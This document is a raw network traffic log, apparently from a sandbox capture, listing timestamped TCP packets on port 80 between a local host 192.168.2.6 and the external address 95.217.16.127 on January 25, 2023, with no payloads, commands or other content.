Jan 25, 2023 21:04:28.312545061 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312551022 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312566996 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312578917 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312587023 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312597990 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312608957 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312619925 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312623978 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312638998 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312659025 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312678099 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312685013 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312700987 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312721014 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312741995 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312742949 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312763929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312777042 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312786102 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312808037 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312828064 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312849045 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312868118 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312887907 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312895060 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312895060 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312895060 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312908888 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312930107 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312932968 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.312951088 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312978983 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.312999010 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.313019037 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.313034058 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.313039064 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.313060045 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.313034058 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.313034058 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.313080072 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.313100100 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.313119888 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.313167095 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.313167095 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.313167095 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.313168049 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.313200951 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.350856066 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.350895882 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.350915909 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.350939989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.350954056 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.350966930 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351011038 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351037979 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351066113 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351066113 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351075888 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351098061 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351130009 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351130009 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351138115 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351155996 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351177931 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351183891 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351191998 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351233006 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351233006 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351278067 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351301908 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351309061 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351337910 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351350069 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351372004 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351377010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351409912 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351409912 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351438046 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351449966 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351480961 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351486921 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351514101 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351540089 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351540089 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351542950 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351572037 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351577997 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351607084 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351612091 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351640940 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351644039 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351674080 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351696014 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351705074 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351752996 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351778984 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351800919 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351802111 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351834059 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351854086 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351864100 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351886034 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351912022 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351912022 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351918936 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351942062 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351942062 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351969004 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.351974964 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351996899 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.351998091 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352018118 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352024078 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352040052 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352061987 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352065086 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352065086 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352081060 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352093935 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352102041 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352118969 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352123976 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352144003 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352144957 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352165937 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352168083 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352188110 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352190971 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352209091 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352229118 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352237940 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352251053 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352271080 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352277040 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352291107 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352315903 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352333069 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352338076 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352360010 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352363110 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352380991 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352394104 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352395058 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352413893 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352427006 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352442980 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352459908 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352463961 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352485895 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352490902 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352499962 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352519989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352519989 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352535963 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352550030 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352570057 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352572918 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352592945 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352610111 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352613926 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352637053 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352642059 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352658033 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352672100 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352680922 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352703094 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352710009 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352725029 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352732897 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352747917 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352762938 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352771044 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352793932 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352822065 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352823019 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352844954 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352861881 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352868080 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352889061 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352890968 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352914095 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352936029 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.352936029 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.352977037 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.353002071 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.390986919 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.391124010 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.391176939 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.391235113 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.391241074 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.391304970 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.391331911 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.391386986 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.391464949 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.391524076 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.391598940 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.391652107 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.391657114 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.391706944 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.391772032 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.391810894 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.391835928 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.391848087 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.391859055 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.391920090 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.391954899 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392018080 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392028093 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392092943 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392115116 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392165899 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392178059 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392194986 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392215967 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392272949 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392278910 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392335892 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392405987 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392471075 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392477036 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392505884 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392534971 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392553091 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392565012 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392591953 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392626047 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392628908 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392656088 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392657042 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392676115 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392714977 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392752886 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392811060 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392813921 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392874002 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392875910 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.392940044 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.392991066 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393049002 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393069029 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393109083 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393121958 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393136978 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393158913 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393163919 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393183947 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393192053 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393210888 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393218994 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393244982 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393255949 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393271923 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393289089 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393297911 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393325090 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393346071 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393351078 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393378019 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393404007 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393404007 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393431902 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393431902 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393460035 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393466949 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393486977 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393488884 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393511057 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393513918 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393538952 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393542051 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393563032 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393569946 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393588066 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393595934 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393615007 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393623114 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393642902 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393650055 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393666029 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393678904 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393699884 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393714905 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393737078 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393740892 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393759012 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393768072 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393795013 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393796921 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393820047 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393822908 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393846035 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393846989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393868923 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393876076 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393897057 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393903017 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393924952 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393953085 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.393955946 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.393984079 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394006014 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394011021 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394036055 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394041061 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394062996 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394072056 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394090891 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394109964 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394118071 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394140959 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394160032 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394165993 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394190073 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394191980 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394215107 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394218922 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394244909 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394265890 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394269943 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394294024 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394309998 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394320011 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394344091 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394345045 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394368887 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394376040 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394402027 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394403934 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394428015 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394440889 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394454002 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394467115 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394480944 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394495010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394505978 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394531965 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394537926 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.394560099 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.394582987 CET	49715	80	192.168.2.6	95.217.16.127
